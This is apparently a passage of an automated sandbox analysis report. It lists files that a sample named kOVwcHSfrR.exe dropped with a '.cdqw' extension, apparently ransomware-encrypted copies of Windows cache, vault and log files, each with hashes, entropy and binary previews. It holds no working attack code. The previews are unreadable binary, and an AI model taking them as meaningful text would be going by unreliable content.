SHA-512:	D2AC2009C98420EA2EE27D377B35D28B609FC9A564B0C7C7A881F72ECE37E496986B3FDC899631D145CF0E1E699B83FA3AAE2BB76D0D7746811E105A682172D7
Malicious:	false
Preview:	{.".T..+.Cb-....;h.}.(......?G..$<.....O3[..^..5......{....>e. ..+..\.y.....J...h2p.......%zU..S.\.m...P....V.z(L$f...8.R.....h.e....^.a..0.8..S.$+.v..5..].R...Fq..P.z.b.C.R&...&C.......Q....i......`..t.......j..8.it.......l....p.......c..[.B.}z3n..4.Gl..9?K...]...e..........S......%...F...{.....[. ....#\|(.&..u....m7..n.Z..7.._."2..2"...+R8..z.../....^.Re...G.!K...U..G{"{..h.A4.....6.-.;.k\|W.,R.c...X..&..f....e....T.X.#.z.r....A..!...].F.]nuM.9.......jQ....4......-.b.yZ...D`_..1x...r.).R..[.._T.Q.4.N.B....;4..\.(K7',...K@.Dz-j.....3Q.}.h&f....QQ...H<e.:.4..3........#Q.-'.....z.....vZ.T.Qt....]t.!..LI.P..4!...1........zL.co}.....4.e.p...S:.#\....]...s^4).m.a.......Y;.3.Z..%]n.N.}.W...r..i%.li....RP.+9.-3D..&S....B.2.H=..........@..Y..x....]"3.eW.H.u.....K7S..k...~w....R....d./A..l..,>.xu.\NX...........j...A.......s.........-....../...<.H4!......5.;...u.....BC9.o.>>.O.....U&....?W..mH....&..#+;.*..\.\|9...n(NB.RQYw.....%Z>'

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.9391712437812805
Encrypted:	false
SSDEEP:	48:YDiF3KExtCs9wqcsGSVvIx3bhl8hO453oC8ofWkKEreIgUoYprEDmMgQNqSuCCcV:JCsmhs4bAV3L8o+kKRlUoYpQeQwmCcma
MD5:	3C11C76E53773380AB68A171110D536C
SHA1:	BEB51014F360533E8B10C6AAA3015B79A6402A5A
SHA-256:	4890E2BB0C1A48F132E55CAABA70F054AB451DDB9ACE9280BA7AED05219D3517
SHA-512:	8CF04D05FB5C3BE4E5027FCBDBE50CAF9627E1868FD6FC266335A947648C703D001598BE1E2B7D9524EE83955CFD3159E729C441526549BAA680A933C7E30362
Malicious:	false
Preview:	{.".TTQ.T.3Af..3....#.4...E..f......8.e..hr.5......=.........A.D.ik..Pd.a.&..Xt...<.3...Yg...3..P..i...(..?2....>O.'......s.9.k....r......C._.........!..%....t.......U..UY..h..Dq..S.fS..G..%FY......a...P.....L.jqI.~...3.M>T.1.W..F.....F.......C...1.`.V8.7..d.i....b....e.z.........J...<..5K.c.....uc............_hX.n...bJ..49....D{E..b.]..X....:.w..5...o.D:v....f.uov.s.>Z.A....;..w.... Qb]qu..j..{......D.....re..!..\|...Q.tV......2.....<.X~t7.X2.....J.B.I....@.........r....jO2.#....17.B..FL@...5.@......I:.^R..t.....;.s.....D.S...S2?...gp.YJ5x#......r....p....PQ....v..R4\|..[0,...p...".{.k..`Z....m8.....l\|...PL. k.....cJ.}..i...w....'.D)..F..S.H.!...+.2.....tJ..6cM>.....v.x........M..s.&>.{.....y.e...c%G...p.RB`..o....2.?..o.I.....C.Y....4#=.*x(!o...{F..w.,.7b.xK%..Y...O..F.....k..`.I.^...N....)...R.e.X(.b.e..jUi...o.8....R..~MH.O.....8.....(.?..v7...dhjo.....=Mh2.m.....T.o$...l.......Hq....\|).?_.ZA..e...\|...=n8..;1.o.B..V."..p%s.kS^8

C:\Users\user\Local Settings\Microsoft\Tokenuserer\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9244964894602425
Encrypted:	false
SSDEEP:	48:AwuBH51rMnPopZQ5wqMZ+zbmvczhmM7Weoky0AcNz8LmTXsbbRU9Sp8eyD:Ah5CPCZew34FmM7WbkyU1gRU9Sba
MD5:	66B887B436B670E4F1C16047F8469711
SHA1:	AE11788C165EA431B8B185A35A62533D42A05116
SHA-256:	8ED3C90EE5378333D2E4899182D09E1EF3524B5C46C6633EB7B04CE6860F5727
SHA-512:	4A71258F99421D94A463C889369FBF86A333646F30A54478D93B222E3C72FD4073160F76DAD48F017C40C81AF17BA580CBB0455910661DC5DF7E9472DFB1C099
Malicious:	false
Preview:	{.".T.R4.[.m.+..+Y..9v..f.....A.BN1.AX..^.mA..t"..@.T....E.E...)...W....o3m)iv#.2d.~...I..`..$..d.h~.j..Igkq&.w.g......+C.....Pc.{_dj....@.B.P.nBg.$...F.._.ok.u.....D(.t[AY!Z!u...VY...4iN..8.....4...1...m.X.5.>}u...}.......US....Q...@F2B:f.#._.^........+\;.C;...ea"...8..G.c..X.;.i.BEa.fWp..b...(..o t...'........L.p...ow..]X.".....x..S.T3.g*D.6s..\J<..5U.]_...z...U.T..?....l.(.`.$A,..f7..w.\|~=e#....xc..6h..%.Th.\c.-..4M..\|LI...........7?.m&...d..yq\#.Pg...k.wv...)._.f..~..x.^.e...D..."$d...P>WX....FA. KN..1%...\|RCdv.o..",....ToJ..r....+..!5...Z..e.!.{.a!."...B;...,G.;......Q.-]..\...u..[A..$.T.......yF.=.-..#.'........:P...:,.....hw,.}..>..y.....=...=.......w.o..9...N....kI.r..Y.#..%....Py)..?..{.=...NQi..{\|...h.....\|.JO9O...9R.S.]......'..\|.. :E..f..g...`.j.VC,..F.^.Pv....9..8lvi..6.....D..G....hy.[.......^.9=...O..G.w2._...3.P...o..qF..X.9`.!...?.MtP.:x.;.a......`. 5p.....q.........vULJ\|.F..2..VY..r.r.P.-9!...xv....xO6.o.x.8\...

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.709348287850647
Encrypted:	false
SSDEEP:	12:/Qy/X8piBz24IYM1A/aOmeRFDtlrwVPBBTVj3c/9+RU0qlMU++XnZ8UFBEKMAHiP:/QCCIMqHFMBBBYsBquNi8ULjMW1rw1bD
MD5:	47DDDA671E4416062EAA4CF25EDFA675
SHA1:	5CB143CD56B42C1500DD44275A5AEF3B03363E94
SHA-256:	3DF71B0B141F43C27CAA072041047C4FEFA8A1D4F716EB1291D018A4A7192DD0
SHA-512:	E5C8389FFD4D6C964BC55A73D16B28D5600D3746D95109BA4FFA0C3BD7F65FBF9FDC7D14C4B53BC7BCC70B74B44DB851829C025B6CB44D77451C194CEDB8F1CA
Malicious:	false
Preview:	....B.&@#.b..#..Pu...N..t.. j<WeA2..f4..5.,....V.cG.R......I-.../Y.(.../..$.T.#".......n..S.F+i.~L~...+.40.....#-...$..8.LX.j......EMjs..].5..~R. ...}..a}..1w..#.gd_R..c.j9.....M.....Rx.....3.~..;}.>..B..e..A.>...sM......3...0bh.t\|.....0.W."...X.z}.......jZS[4.Em.....Yb0....R....(6.qau.K..x1._.u....`utw.b.L...7q...(.L(.ig.......T.w.xa....J.[B. o]._x...3.......:4...+L...)7...J..=.Y...3...t....g.qw_u...H\..S..S...q...q.G.K6,pg..f.....;0c\|.ye}YW.....\|.........K}!+.ri...9.....#"..W....,.... %.....n.&..oF./.....2...q*k!bz%......9U.H..Q......Oz...>..v=.....I!...:.[..K....I..;....Z.....Z.........J...'.../..(..O.+.@/.[S2Q.S-./}........]..0m^J6.[.......h..#O..].3hTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332072342251295
Encrypted:	false
SSDEEP:	6144:KqzM+Xiiy+YtGmyaayKFetlbEZm+vyJfbnQkK96B88yKv4bWTmTvEiLSd:KqzMgiiiEm/aNc/oZm+6dF4/G
MD5:	1640E7860887915CD6C80F1993A81001
SHA1:	A2C6EBC18E95304BC57779F97C69DF8B4B421350
SHA-256:	0961949D59A48BEDCD958EFCFF4E3575DF1C08C5BB2EFF5C26FD76590A53EC2D
SHA-512:	DDAEEDED56EC70299AC2490F482FE2D6C6BCBAB41A1F87DED87ACF0148E9CEC62ABBDE2DCC19ADF1BED61DB93889D7EC6E01375D838BEE739D928B115B1A515B
Malicious:	false
Preview:	...P.y..V\. ......r.S........$.,"..o....e....R..y.:n.=^....\|1......H....b....@'...$.....'a>p?....:.........9<k6....fI......{.E..\x..X.8.......wX..a.D .\.;r.@9..q..3;.........l..Y..S....j..A.......C...Fy......R...R.V.z'./.Y... ._..F....O.......FG..<.e.~M..Z..\Y.......by.t..:J.....=xJ&..W..s.w..V..;..qp.=."a......(.(...Od.v.fy..q2.Z.o>.2>Q!.6......#)\...%e ..Y......\|0.....m.A...Rm+.:.4Fu.X./.M.....$1.1.ug.\|aU+...q..V......8s.[.<.&>.U.$...N....@...u..[{.B&..[.Xu..5RNl..?..;}...'....!......~.F.1.M...S\|j`.m...f.........k.jN.....<....7.6......9,..:g.Gb...p...G.....H.[n...\|.....<c~.chC1..;.9....#'J..WF......?...N\|ta..R...q....-..@f.Tr..dB...7.?O..\....xCu.G..Q\|....k`3.._.{.gS.b..Qf..7..Y5.........&~..hOJ.<.y.s&. .H../.WG+..c............&.8]..6s..d=6...C..0.p.n..F..".O..N....... ..Kc....9.@..7Y...mGuF...6.j.x..;P+O..".^...S./y.Z..G..!..z;...lH.........%W.....viy..nXdX......]..b.vE..hfy.QE.K...y.Lj.....W........."[..u).. .....@..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988681678555915
Encrypted:	false
SSDEEP:	384:1Ce8FWZbgkLty8o9eo0LBYbRsumTEr1EF+qEiYQpPT:1l88Z80s8icYbR79qEinl
MD5:	38087FB41A4538F9C921AD95618D1292
SHA1:	41C930EB438A07E7715BDA201C5875B274E12018
SHA-256:	26C70B4F1294DF90A517F22A5DB6187C3C6E802602678BBD81DCABD5A321A804
SHA-512:	A0F9392BCC509CF78A28E187A6F14AFB1C9C63A04C2A8D6BBC37C5F2DB21370330C742570C9DE54DCA0D74933ABBE0B7857B19038DF87B33925BAA9E3774A711
Malicious:	false
Preview:	.... .<.0[.U...$.g..3.q..+O..3..=........D..!...>.D.6.#.k..D.O....e....V9......x..{FN......"i..z......4.)..k.I.rP..A.....[.p../.P.....=....">\"TFSZ=.._....:Y....!.#..7..$......IG^!z..L!S....v.z..~.!.8,.u\|H..~.T.[=y...[....~...;...9.....;.W.]..`..=m.%gOKC...?...a.....j.$.x.B{...>..#>..g.....{.r6....yqB...4.s\|O..<z'.d.#.9.wa.y..p.'.c...'s.^j........]..j\|?.9W..}_i..7....,{..VJ......a...`...2.7.4."`.Y...Hb.L..1...[....6....\|.f..".%!..g$.7r:.Cy.xZL%..%K).A.yj..r.y.\".W.S...q...?.8O...kny.Rug....o...&.4.....K.9q>...@.Lm....I......Y._.o.O......Ft..1<Tk...../..9..A.t2;.%..B\|...)z...v1.3D...B2......US.,.?8;...../r+...y?f..[..E.~.........=.D...4)..YU....U..M^......ij._'..5....L...p.&...F..;..7Bp]..}.;.}...... ...l.9..H.).'...t.-..p.)c....A.~J..i...5.t=?..7.......s-^.Xn6.c\.\|.....Q7l..;..................#lux.....A...XMl[~g.r<.myJ\...4.G9...4..>.P...i..<y....'.3..d.j+v1..T..s.F.l..$+..&..?....3...p....6.........?.....`...}......kK.[.o...K.l..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989201169005188
Encrypted:	false
SSDEEP:	384:0HFE8HFd8HjnWbySlTVv+dqrMNUNirf/EFFSSyMgoCfw2:0lEqgWfh+dqrw/CFzyHZfR
MD5:	3F41F48EB202E32D8F3A6E348B091AEE
SHA1:	589FBE6EE4746DA686155EE17E2D63F6DF72620A
SHA-256:	FB1C34AD7BA9656E2F2F1DA814A59480AEFF13332A32A9EC850FD6A282FB733A
SHA-512:	5C85D3421889AC9A0CFCA06AADA8177C642FA88B56A5D6B2EA10DCAAEB3EBFE26074888E96E0F968F0C5B31A257DB40A1176C32569BD50D7C736CF444E5905F0
Malicious:	false
Preview:	....`v<.PH.GmZae..qylx.......(...uv?."...Y...!.I&..%...e...Z..f~.+N..R.;....Bu.n..e.+..2....Ha.4Oa ..L.ItK..g..^W.)..?.#.im.l..]YV../..\|.+..n..r....].#9...1..}v.G...C...:.. .T.... ...n.8X...m.y..."Ni.....k......~.EC...n&B.~.._.!YA........:.........] ..U.:8..kVh.G5(3fC.,..:.....eDm{e...K.....I.~...e.)s.:.....E.....5.U@p.v/k#...E..(.3[....4.s...$.5$J\`...d..1....h..pr...^-.(w.....G.X...4`Y........-..J....q.x.....?.b..{n... .1..G.r..N-zn..9.<E..Z...]...BC...E......v.Zx.....[a?../...nm%.d.....y=.....9..CS..0\|S...S......Ye..Zq.~..0..^ZH..c..vu..=P..r...h..P7.\.;t....X....2.,%.H...[...Nb..I.r..k<.tav.m..'..x..._f...{..s..7.Z.r.,(.KW.....<.......T}.?/.,.N........I.\@...p.m....@}3j..}'...'.....#.?j.;...!.=.K2....{.@.S.a..D.D..T.5.~.....;.JV...<8..i.... ....Z...}...#[...,.{...UEV...II.....s.Gtb.....{=<...)^..v8...U...........}....h_..A...SO...H.._..n..8.=.).J...#.t.0.T.3..5..q.Z\|..@r.Dpzf.p.p.m(.\|...t9-.0.7.....z...*..]f...2.sC@]....

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{10C46A9D-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331989924033567
Encrypted:	false
SSDEEP:	6144:q+lvcY7scUDjCa7+8twzMhBRPzeZpm+vyJfbnQkK96B88yKv4bWTmTvEiLSO:/5ajCoDtw0BRPz8m+6dF4/B
MD5:	09CE0A93218819FA4EA414EBCE9E369E
SHA1:	AAAEBE4E2B6CCDA7FF1DB9C75290A86237A34140
SHA-256:	7D6749C7A33C0976177E87D16BBBF67D98BD844030E9053A51489274EE233BAB
SHA-512:	58AAFA425E3E311E1D07CD929DBE574C5C51B114CA90CED8A9EE8377BF6744EB3494B2C9CFB1A7F103FC3383E7263CEB59D661DF93AB9D8B6CF6AC96DB9918BD
Malicious:	false
Preview:	.w.. ..sj.^......!......l-.d.4.n...:>.A5.....E...A.../..J..M.e.H../..;r.../...hM.?.......^2...I`Gv...'0Q`G.........W.k#.....Z\.3..&......M.{....\|X.#w..d.'..c.........74..Q.........zJ.-..........h=(..G..Z.kuk .0`..`N..'o....m}...9F..)C.}:(.4.oM..J....c....l.+.1h..S#3@8:...h.....7.\|SQ.5...5.y....1.s&...=.][xr..p.=.0.j5...22Sf.V......;..q........R...."+9.SZ.X"..........N.G.&.IX..w...J-......L=.KcW...d.Qr...8@.e.!.b^.h.\5~.n.R..N.R.Y.C)..d......,r."x=q.n.2L6\O.F.$Pnp.>..F?l_.).Qu......j.$..$.W.g...........6.N......A.....FGS.N5:..vO....\WW8....N.'..."...Q.M~s.........o.....[RP0@.k.tLAx..TA...j5....x......r...b...M...Ts.o...$.A. .h0G....$.%..h..G0..p.X.m.j.;......(IQ.l..D$.~wQ...I.>.S....=..F...,/.3Kku.NC.....Y..b...v.y...g...Q.1.!...S.U...g....1...3q......)..]...`.!.i....A...I.fM......g..cS...kuO...!..S...r).$..H.:..L:......G.I.S. ..Gz..>..5.....=.2.h..HaP'.H...4....gV..boJb.....L1e...v.?{ ...A.u..<h...to`...Q..f.s.......$.....I&.[..fLvVf..M..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	103982
Entropy (8bit):	7.998385507195764
Encrypted:	true
SSDEEP:	3072:OYbT87nX9mbLxMur3Oxh0236dnX3qpkVOp0oC0ZLi3X5NNkTO:OYbY78bLxMuzOv36pnykVKFMn/Nki
MD5:	A44808860ECE5B5AB6A05A2E7E5C5161
SHA1:	BB47EFBD75B87750A813C6E068CE175E0FB2F645
SHA-256:	D38042768DF5423AFB77CE27B324262794DF7C36468BC2A584CE9B331CF268DD
SHA-512:	072D964B1FE40C5C8DC67AB91D682C66C891E97C029E5EAAC9F2F620D9528CA3BDBCD5B162102B653C76D678005567C623C4FB0E7383424A4C85C6C2E68DB736
Malicious:	true
Preview:	....h..IS...+.ZJ...P.`IO.....A.I...&..#...9..cs....Hi...'5....j.rR.l.a.A..\|.-.U.cT..M...8..2....l.K.R....s.y...V....}...z...u..K.k..bq]z..Xo.@.F..S...@?..<... ...~dI...A.$zQ.k.C..,.o..P..]?.4%.........K..C-.>.Z+..O.$.'..Xe..3.!.+.<$E...)...(a. .........%..r.......J~.u...s`.Z.4K%......+......I...]k...H.L....k.D'.mO..h..w.bf...e...........g.1.[x.[.8.a.....a.Z...F....\|...<..[.z......q. ....gz.]u.Y..v4X......i_I$..,N1.FI..2..~..Iwx......7..L.~...eM.....].n.<@)U....[.......!.`..C...N.P .ap.....N.!=..<%.....,..H.n{..&...t...w.ti.(7e.%....."+....p....:..U(}..we.s...b.....qnf..$....m.3..........dq.2.f.b.. .T.Xa&\8O".=....0..\|.5af..T~c/.C.U`<.K........fl.....5\..V'C.X....V..d.........b..o...........iH..L,...q...*.l.3..}1.[EF.g.#.....W..pk.....VfV...o..%..U...m.`$..sA.-.`Ni....3..=...:.7q.........$..F.........9..... .].G^!v9..fkH.....<.....q.)..t.s.k.R.(.e}`s.%D...`a,\|E.L..\...c.._.]q.O........nh3.X...t$...-M`L.&?...\..6......]...

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	102734
Entropy (8bit):	7.9980918572014765
Encrypted:	true
SSDEEP:	3072:HM0OUIk4CMkeIn4LJq6LEb9JDhWJqyekfUA:lI1CcnL46S9JDhD3kMA
MD5:	BBFEBC1D2BF3E62F85C7B88A0F4F1901
SHA1:	D14CF8EFAD59E6A18F6EDC06BA68E08C278DB6ED
SHA-256:	9C1CCE28FFE73E66BABBAC22465A1F85067879103E9397C68260FEF3AAB7CBFF
SHA-512:	747882E2EE7F019641DB90EC948260087BBEE0D0006C6FD8E04C3D213314F7FD97CF7A18EF6AA610414C583C086F702047CD0246FFE1C0E09EE747E9F7995F54
Malicious:	true
Preview:	....hPT~F....dC...SH...C.cG.tf......6O....xTe..N.YVA../6....Yy'.b..b......^.s1..EKS...?.J+..<.r.....Y;..4.#..^:....R.....,D6...V.$..K........r\|.X}..>..SfW....&.R.D./8.DG..\..w.....PG...\4.A>.ZQ"~Zi..w.#.[.<.KD...O.\|.......w.@.............r.....wI..#N...K .TD4`3.....Ta_..+..5.e..g..2nx. ...J)m..e...^O...k...6.Yb,X..-...X..PA.T.....<A..}.C.>H=.....&P;..@.J.C.[....8..._....0wE.T&..[.....wp..&.}.....i[ .!...j..~../.Alp.Xu...XM.j........T1[6.#w....h.{8.....\|..~.ZY.1....upe...$...5Q...#.#^K.]J.N..Q!.Eqo8!.w..'%r.'../L....O?.qBP..x.....E.EI..[qU.HH..4..x...P....v....~,.@G.N..`k....d.... >..a.......7e.\|.E..MT.g/.....D..g..O/...c....%..WR0.....j..x..r..?.VA..t........K..%B.m...TLA...v.?.......7....v._.xiQ~.....B=....f........9.....;.=.1.Z+.sU...H..gX..N . A.%\|.`.....x.Z\e&...j9`.z.nc..{E..).....b.....6.i...~c.....\|....'..!.{..=..D.@...Z..Y.r.-.).T.PE.q...Y.&t{q..W...v1...H.._.u......i.p......`'.[1...........@...&dO.....3.H.!..+.ON..um..D.W]H,...

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	133230
Entropy (8bit):	7.998698833748328
Encrypted:	true
SSDEEP:	3072:QuDk1lI0Gfjo6H1AoW5pbNF5NFmAYLYsGUh6vB9pW7G9DWxbi6:0lktgpZFPFDYRQvB9w7Rbl
MD5:	385A2B00F9D5E9B4EEA649074BDF0C78
SHA1:	338786D7B7D43AACF9330266780DE1BDF1FF02EA
SHA-256:	996CB6E23A02C6A8460DC80D2EDBDCFACF7C5C823D242CA85A6BFFCF864D074E
SHA-512:	E0F4FE3AD8DCFB6BBEB93401A3977EABAA882D987CE5849C7B7F3AC8DE968CC7BE667774857232E8FB0BEEE329F52920FC4775A454CDBC85C8B51169301FC20F
Malicious:	true
Preview:	.....J...}..........F.O_.#...t.X.!q.t.......<zs..1...M...t'2.9.....0n.U.ni..fIC...FF..7l;.[.q..[c...A ...6.,..wB...X[.o..,MJk.n..un_.Sg4h...X.{.?/.#...2.N....Z..D.mZ......Ww.o....BJM..zV.eT...#..h...f..9Lf.4.....q~.(.e....dP...(6d.>D<f9...03....W....}....m.{y.+..i,_a.R..M.......4....\DU.@....@G0.a-..:^....7..>..l.F.;..!.....r...,z.Z....\|.y.Q.$.9.H.....O:.S ..DMK.....5.9..B{$......}.4...).......7\I:6.K.].&K.o{....0....X.._.XnM....n..K...f#t.s.....fO.{!0z.....q;p.,......q..Q.Q.\#..-?qcdD."....;..'..OeG....7:..q'.....\.V.;P...._#~l?.GK.Eo ...m.........5...!....X.6.C7.Z......Q%..9(...)h'd..k....h.2.J...%...fA.d.f..CcJ.F.pU.G.Y.mw..wsT.,.....p.J9...3QpH#...obS..8J.f..X.Q.^6..y.....M..L..y.L.5.B...JX.2.......p.hT.\|d.X_!......x...Q.l..9X...l.....]NU.z...<...#..a.g.n.;..f...'.~..D..z.'.Q!..+u0.w...b.rp..$].=,.......%:TK..r.."sC..X.....L...$8.1._.......<.hK....0..\..l..fn......;...E....^R.F0.U......)O........../.....Il...O.T.....]V...fi...1~

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	87486
Entropy (8bit):	7.997800034112153
Encrypted:	true
SSDEEP:	1536:k/V9rO4i44b0ruBFLi8FSuRsm83kamQDv3avjK77PBccyrspg42:k/V9rO4nVY+YRsmAkamqqvjMVyrcg42
MD5:	DAF098E078C56FF553A5A219AB2FDF52
SHA1:	B52A1F02DE09C13323A42E1C184AE8B598F7F428
SHA-256:	D56B58609A8A507E75F6C0217040CFBD383AC3541B7D3CABE9910EB0DD5891C4
SHA-512:	B7C5DC22B82B6F471EA0F32DABBB1DBBF110C7D55CA5B930A89004169BA834A8C686B0C8AFC0FF821DEE027E5449B66753D67F6C1314F3821751542862D1530E
Malicious:	true
Preview:	...........j.+......amj..f.]~....q^..g...w..D.KZ2b...P3.wM...3.,..Mo._"..I.w...).R...`.....}.UZ...44..<..}i.....Dd<.b.v...Wn....$..k<Xw\.&.....I..Q..B@z........E8t}.%.......s.#8..<>.jb......~..._.s2a...S..R(u.?.WQ....'47..P.3&W.Z..f.6....@..h.kS4...<..q..$.+V...._..kM.cH?..-....(...J.....Jx......c.q .=..@.. .&R..lS.4....'G)q...z.L.....y0`...y.C...`..@ZW..s. ?....5....h.QF.r.z.d....o^.D......+.=.C..6....@.V.v.N.0.4. .+.....i.E.[!..r?...X.&V..N...^.[q2G........\|%I.T....IQ..`?KFr.%.1M..`..j.2...H....b._..=f..5a....../.X..uP.......h.F....hmmA[...e.m&xT.../..h......-....KvU.dq..O8(....vt.f......3........m..#......\|..<..T..}......82..6T'..$"...:.a.x.x.#..-C..Tg.R8s..;......L.DT.XRT"..O+?.......)?......}s..j....%..%y\|.J.O.......o.y.%#H.jM.7.=.7%6. ..1..?8.......v...{..t.O...\y....6.O...AS...M..3b>....c{...0.=%.....H...;...Ur..;.....,.....b,R<.3t_.....U..W.s.....l...s..M-.}..&........q3...r...f+d%.<W......74P.JCf....g.....8.....3..k..5

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	532814
Entropy (8bit):	5.901739349305172
Encrypted:	false
SSDEEP:	6144:QMwXPU4S9jvJhi6eegn9XpKvwH2C77SxPOloijo5LDNpIpMXwqxoE+z33:0s4A5pgn95vWC76fhXs
MD5:	7470001C46018BE04A173DCC595858AE
SHA1:	51D183858E86EA8DA35C19CF9BF30A33352590FC
SHA-256:	A4D26643180F9C07179DEF4CD72730D490729B1CEE3E85C7A4C2E60E90B5CDFF
SHA-512:	D35BDD0F9086968FF1BD8550A090698329079B3B4AF71E9C262F9BD1B2E8AACF00504E6261A2CE5FCFCE4C2709CFF4E2C9487A0498DAC38DB705BFE831476804
Malicious:	false
Preview:	. ........%.f.....4?4.z...AFN....T.).,.a....W?.#.5.z./..s..P..uq....0......,j...]tZP.O:..\|..._.$..Try....3...%.9m.S......!......f.P..&1..z..w.F..3....Eyq4.L.../.........\.......8.0F.pi.G.}..l/....X5.6...K.K...._<.....;?..............f..A2&h.J......\|v.A(......k..H....._...N.T..a...T07.[%+.M.w..m.....Y..R..d...<..me..<D..H...%..U.typ.6.%.#....N4.].4m...[._w#.H...0....m8...Ld=_U.F..:......h.K.%3........a.M...v.j..Yh[.2C.C'......6c`....P..r7!.1......q#..&...^z...6.....?..~.DIu.i..X.....O..m...l....=m#@....^...o.9...C0.3..+....BBow.g..KP.w_..K...M..s.K._/....j..v.+.....\|i9..DM......2<x........q.....;R..~A...1U.=#..R.W.My...T.u..=.L......m0V......o.Z.y...0......dK..M...S....T.{..tM.t..#..H+..b.@v.6.....v....=.{d..+%&......t.@..........),.AYe.X...Vc.G......2b..b...7....C\|....\|...&j..;.\1.Z.N....&d.Vv>&..'.........G..n...N.E;...).m.P...c3. ..3.O.o.b.l H4.6x.ZX$\/.V...'..w.5j...v...k..G.o"-0.w+...ST.W..Z.\#.9a."g..8...=..`

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993065179551059
Encrypted:	true
SSDEEP:	384:7zD9X+tzsUUYEMqekhLY7sAjzqmawSeiTaysLRqWqMBMLpXhp:EtzsRBZBSAAjumLiDwqWAVXhp
MD5:	EF77AD1A81C463B38B6DC443BC75F07D
SHA1:	B9B5548FC7AB134208B51E0CC23016FCA0C081C1
SHA-256:	F9B6FDFA8AAAC65B4BA1ECECCCFB908D6DA01C7116BD08D18E3E8F667D3354EA
SHA-512:	7AD6F063D961136F000D270930CAEA301C98C273AD5D434CA9418E092EE92D66AB4B450C83D7BAC244702763F7F8D7ECC7F6CCB2C408028E04D936BF4284E4F7
Malicious:	true
Preview:	. ....u.C2...aj....U..........%8.g."`!.xY..A.-.....xl......a...._:U......J9.....'...v.0....4..s..Ma.2.O....r.....k.d.WG.U..A.....7....}.. k(..Fm2:.3....$......Z..q.jf+.@....=....0."t..,ZP..+.p.Z6.Q.M.F.'.^.#....mv..b...$..o.S./..I.......2.1..2.'C...7....<..3Z...~.....=...Hp..........K@.......-.T.W..p........=...!UW9.F./.}Vj.............3d....sx.m~\|.....CH..g;UH<.;!u...q+....j....`.'(.h`0.5.m..+..L.$.3.U,...\|E`I..y.+\..G..%.7f...>p.X.Y>.a.^w...`.t#HI.H....~...I!Br.d2....W&.:..e..;...O...&.ar.[..h...F..+... c?..mj!.BW.v..(.T......\]./..."...J...$..0..?..d...,.q.6.......&..a.4..Jl.uJk..em....R\..h.ik..U........2.{...:..x...X\|..,5.N.......Y0Wh&.Q.".Y.p....oJ..R..B.<`Yv..~....qR>.m....5...RO./u..e.>.....2Pv. ...<.."L......1....(...caK..d%.\|.K.&\.5x}....(_..L.K.6..k.myU..t..O_.y=z......T.K... .Fxm(..;=>.ZY...;...ve..>..>\...?c...)tb8....-.[......g...A..oK.~.5U...#ga.b.Q.B8...V.....Z..+=.....E$.{..zw+..r....U..nS1d.'..O.C...!l.i...

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.30049029009488
Encrypted:	false
